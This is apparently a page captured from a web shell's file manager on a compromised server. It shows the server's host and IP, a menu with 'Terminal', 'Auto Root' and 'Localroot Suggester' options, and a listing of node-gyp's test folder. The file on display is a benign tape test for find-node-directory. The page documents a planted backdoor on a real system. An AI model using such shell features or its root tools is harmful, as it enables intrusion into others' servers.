Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.143.215.114
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp_probe /
node_modules /
node-gyp /
test /
Delete
Unzip
Name
Size
Permission
Date
Action
fixtures
[ DIR ]
drwxr-xr-x
2021-02-04 21:24
docker.sh
6.48
KB
-rwxr-xr-x
1985-10-26 08:15
process-exec-sync.js
3.05
KB
-rw-r--r--
1985-10-26 08:15
simple-proxy.js
643
B
-rw-r--r--
1985-10-26 08:15
test-addon.js
3.35
KB
-rw-r--r--
1985-10-26 08:15
test-configure-python.js
1.94
KB
-rw-r--r--
1985-10-26 08:15
test-download.js
2.51
KB
-rw-r--r--
1985-10-26 08:15
test-find-accessible-sync.js
2.52
KB
-rw-r--r--
1985-10-26 08:15
test-find-node-directory.js
4.29
KB
-rw-r--r--
1985-10-26 08:15
test-find-python.js
8.53
KB
-rw-r--r--
1985-10-26 08:15
test-install.js
705
B
-rw-r--r--
1985-10-26 08:15
test-options.js
713
B
-rw-r--r--
1985-10-26 08:15
test-process-release.js
21.11
KB
-rw-r--r--
1985-10-26 08:15
Save
Rename
var test = require('tape') var path = require('path') var findNodeDirectory = require('../lib/find-node-directory') var platforms = ['darwin', 'freebsd', 'linux', 'sunos', 'win32', 'aix'] // we should find the directory based on the directory // the script is running in and it should match the layout // in a build tree where npm is installed in // .... /deps/npm test('test find-node-directory - node install', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj = {execPath: '/x/y/bin/node', platform: platforms[next]} t.equal( findNodeDirectory('/x/deps/npm/node_modules/node-gyp/lib', processObj), path.join('/x')) } }) // we should find the directory based on the directory // the script is running in and it should match the layout // in an installed tree where npm is installed in // .... /lib/node_modules/npm or .../node_modules/npm // depending on the patform test('test find-node-directory - node build', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj = {execPath: '/x/y/bin/node', platform: platforms[next]} if (platforms[next] === 'win32') { t.equal( findNodeDirectory('/y/node_modules/npm/node_modules/node-gyp/lib', processObj), path.join('/y')) } else { t.equal( findNodeDirectory('/y/lib/node_modules/npm/node_modules/node-gyp/lib', processObj), path.join('/y')) } } }) // we should find the directory based on the execPath // for node and match because it was in the bin directory test('test find-node-directory - node in bin directory', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj = {execPath: '/x/y/bin/node', platform: platforms[next]} t.equal( findNodeDirectory('/nothere/npm/node_modules/node-gyp/lib', processObj), path.join('/x/y')) } }) // we should find the directory based on the execPath // for node and match because it was in the Release directory test('test find-node-directory - node in build release dir', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj if (platforms[next] === 'win32') { processObj = {execPath: '/x/y/Release/node', platform: platforms[next]} } else { processObj = {execPath: '/x/y/out/Release/node', platform: platforms[next]} } t.equal( findNodeDirectory('/nothere/npm/node_modules/node-gyp/lib', processObj), path.join('/x/y')) } }) // we should find the directory based on the execPath // for node and match because it was in the Debug directory test('test find-node-directory - node in Debug release dir', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj if (platforms[next] === 'win32') { processObj = {execPath: '/a/b/Debug/node', platform: platforms[next]} } else { processObj = {execPath: '/a/b/out/Debug/node', platform: platforms[next]} } t.equal( findNodeDirectory('/nothere/npm/node_modules/node-gyp/lib', processObj), path.join('/a/b')) } }) // we should not find it as it will not match based on the execPath nor // the directory from which the script is running test('test find-node-directory - not found', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj = {execPath: '/x/y/z/y', platform:next} t.equal(findNodeDirectory('/a/b/c/d', processObj), '') } }) // we should find the directory based on the directory // the script is running in and it should match the layout // in a build tree where npm is installed in // .... /deps/npm // same test as above but make sure additional directory entries // don't cause an issue test('test find-node-directory - node install', function (t) { t.plan(platforms.length) for (var next = 0; next < platforms.length; next++) { var processObj = {execPath: '/x/y/bin/node', platform: platforms[next]} t.equal( findNodeDirectory('/x/y/z/a/b/c/deps/npm/node_modules/node-gyp/lib', processObj), path.join('/x/y/z/a/b/c')) } })